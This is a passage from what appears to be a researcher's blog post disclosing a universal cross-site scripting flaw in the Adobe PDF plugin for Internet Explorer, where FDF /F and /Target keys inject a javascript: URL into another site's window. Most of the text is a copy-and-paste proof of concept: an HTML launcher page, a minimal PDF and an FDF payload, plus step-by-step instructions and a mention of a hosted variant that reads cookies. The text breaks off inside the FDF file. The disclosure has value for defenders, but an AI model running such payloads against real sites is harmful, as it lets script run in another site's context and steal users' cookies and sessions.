<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><br />
<!--[if !supportLineBreakNewLine]--><br />
<!--[endif]--><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">What do you think happens if we define the following keys:<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">/F (javascript:alert(location))<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">/Target (anywindowname)<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">As long as the PDF, which loads the FDF, is not
trusted, you will get a warning box that tells you that certain features are
blocked and you need to trust this PDF.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">As soon as you trust the PDF, the specified URL in /F
key is actually injected in the targeted window name. If it happens to be that
the tab, with the specified name, has eg. google.com loaded, the JavaScript
will be executed in the context of google.com.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">By looking at the specified index.html, you will see
that I use the PDF open parameters to load a FDF file. The specification for
this behaviour can be found here: </span><span style="font-family: "times new roman" , serif; font-size: 13.5pt;"><a href="http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_open_parameters.pdf"><span lang="EN-GB" style="color: blue; mso-ansi-language: EN-GB;">PDF open parameters</span></a></span><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">But enough of the details. Here is a step by step
guide, with the payloads copy&paste ready:<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">1. Save index.html, test.pdf and test.fdf in the root
of your web server. My index.html script assumes your web server runs on
127.0.0.1. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">2. Open http://127.0.0.1/index.html in IE (with the Adobe
PDF plugin installed) <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">3. Click: Load Victim Page (this opens a new tab)<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">4. Click: Load PDF<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">5. You will see a yellow warning sign. Click trust
this document once<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">6. Given that my PDF is really simple, you will get a
dialog: There was an error parsing this pdf document (just ignore it, you could
also use a valid PDF, but then I couldn't copy&paste it in my blog because
of the size)<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">7. After you clicked that you trusted the document
once, nothing will happen but the yellow warning sign is not displayed.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">8. Click the UXSS button. An alert should show up in
the victim page (in my default example: google.com)<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br />
<br />
// Edit: https://twitter.com/evilcos was so kind to host the PoC on his webserver.<br />
// He modified the FDF payload, so that document.cookie will be alerted<br />
==> <a href="http://xssor.io/s/pdf.html">http://xssor.io/s/pdf.html</a></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">If any problems occur: Write me on twitter
@insertscript:<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Note: Why I am disclosing this? It requires clicks and
yes I am aware that clickjacking could help but given that most of the time
users only need to click once or maybe twice to execute a local program, I feel
quite safe disclosing this vulnerability. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Maybe you find a way to bypass the warning
popup! <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<b><span style="font-family: "times new roman" , serif; font-size: 13.5pt;">//index.html</span></b><span style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><!DOCTYPE html></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><head></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><meta http-equiv="X-UA-Compatible"
content="IE=8" /></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"></head></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><body></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><h2>Enter URL you want to UXSS</h2></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><input name="url" type="text"
value="https://google.at" id="url"/></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><button value="Fire1"
onclick="step1()">Load Victim
page</button><br><br></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><h2> Yeah lets load the PDF</h2></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><h2> As you will see you need to click: trust
this document once</h2></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><button onclick="step2()">Load
PDF</button></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><br><br></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><h2>Click to alert the location of the
victim!</h2></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><button
onclick="step3()">UXSS</button></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><br><br></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><div id="placeholder"/></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><script></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">function step1(){</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">w = window.open(url.value,"attack");</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">}</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">function step2(){</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">a = document.createElement("iframe");</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">a.height = 1000;</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">a.width = 1000;</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">a.src="/test.pdf#FDF=http://127.0.0.1//test.fdf"</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">placeholder.appendChild(a);</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">}</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">function step3(){</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">a = document.createElement("iframe");</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">a.height = 0;</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">a.width = 0;</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">a.frameborder = 0;</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">a.src="/test.pdf#FDF=http://127.0.0.1//test.fdf"</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">placeholder.appendChild(a);</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">}</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"></script></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<b><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">//test.pdf</span></b><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">%PDF-1.1</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">trailer</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><<</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"> </span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/Root 1 0 R</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">>></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"> </span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">1 0 obj</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><<</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"> </span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/Type /Catalog</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/Pages 2 0 R</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">>></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"> </span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">endobj</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">2 0 obj</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><<</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"> </span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/Type /Action</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/S /URI</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">>></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"> </span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">endobj</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">%%EOF</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<b><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">//test.fdf</span></b><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">%FDF-1.2</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">%âãÏÓ</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">1 0 obj</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><</FDF<</Annots[2 0 R]</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/Target (attack)</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/F (javascript:alert(location))</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/ID[<9DE1D53EE27B8342ABAF121AB257E7EA><4370C7654ACB0D429DF932C95FF78175>]</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">>>/Type/Catalog>></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">endobj</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">2 0 obj</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><<</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"> </span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/C[1.0 1.0 1.0]</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/Contents(HALL2O)</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/CreationDate(D:20160821215706+02'00')</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/DA(0.898 0.1333 0.2157 rg /Helv 12 Tf)</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
